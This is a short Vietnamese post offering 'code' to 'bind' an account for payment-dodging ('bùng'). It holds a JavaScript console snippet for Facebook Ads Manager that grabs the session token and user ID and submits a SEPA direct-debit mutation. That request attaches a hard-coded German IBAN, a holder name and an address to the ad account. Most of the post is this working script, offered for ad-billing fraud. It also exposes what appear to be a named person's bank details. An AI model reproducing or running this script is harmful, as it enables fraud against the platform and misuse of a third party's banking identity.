CODE BEM DIE TÀI KHOẢN TRONG 5S CHO ANH EM BÙNG, SCAN – MR PHẠM TÚ

Link :

https://drive.google.com/drive/folders/13VKNRfnoOqwjNVEWvmwbCrAKm6PK3xEK?usp=sharing

chi tiết code :

let token = require("DTSGInitialData").token || document.querySelector('[name="fb_dtsg"]').value,
    uid = require("CurrentUserInitialData").USER_ID || [removed].match(/c_user=([0-9]+)/)[1],
    accountId = require("BusinessUnifiedNavigationContext").adAccountID,
    account_holder_name = "Rosel Krug",
    bankAccountNumber = "DE32743696560423625869",
    routing_number = "GENODEF1ENA",
    street = "Schoenebergerstrasse 173a",
    city = "Werdau",
    zip = "8402",
    account_country_code = "DE"
fetch("https://business.secure.facebook.com/.../token_proxy.php...", {
    headers: {
        "content-type": "application/x-www-form-urlencoded",
        "x-fb-friendly-name": "useBillingDirectDebitSEPAMutation"
    },
    referrer: "https://www.business.facebook.com/",
    body: `av=${uid}&payment_dev_cycle=prod&__usid=&__user=${uid}&__a=1&__dyn=&__req=y&__hs=18981.BP:ads_campaign_manager_pkg.2.0.0.0.&dpr=1&__ccg=EXCELLENT&__rev=1004890290&__s=gps06q:m09ucg:i5cx73&__hsi=7043872291689680026-0&__comet_req=0&fb_dtsg=${token}&jazoest=22014&lsd=wvoo9bDOYzCt-i056eV05q&__spin_r=1004890290&__spin_b=trunk&__spin_t=1640029319&__jssesw=1&fb_api_caller_class=RelayModern&fb_api_req_friendly_name=useBillingDirectDebitSEPAMutation&variables={"input":{"account_holder_name":"${account_holder_name}","account_number_last_four":"8905","approval":true,"bank_account_number":{"sensitive_string_value":"${bankAccountNumber}"},"bank_address":{"city":"${city}","country_code":"${account_country_code}","postal_code":"${zip}","street_address":"${street}"},"bank_code":"${routing_number}","geo_type":"SEPA","logging_data":{"logging_counter":17,"logging_id":"3640172513"},"payment_account_id":"${accountId}","actor_id":"${uid}","client_mutation_id":"1"}}&server_timestamps=true&doc_id=2759481864176536`,
    method: "POST",
    mode: "cors",
    credentials: "include"
}).then(response => response.json()).then(data => {
    console.log("Done");
    console.log(data);
})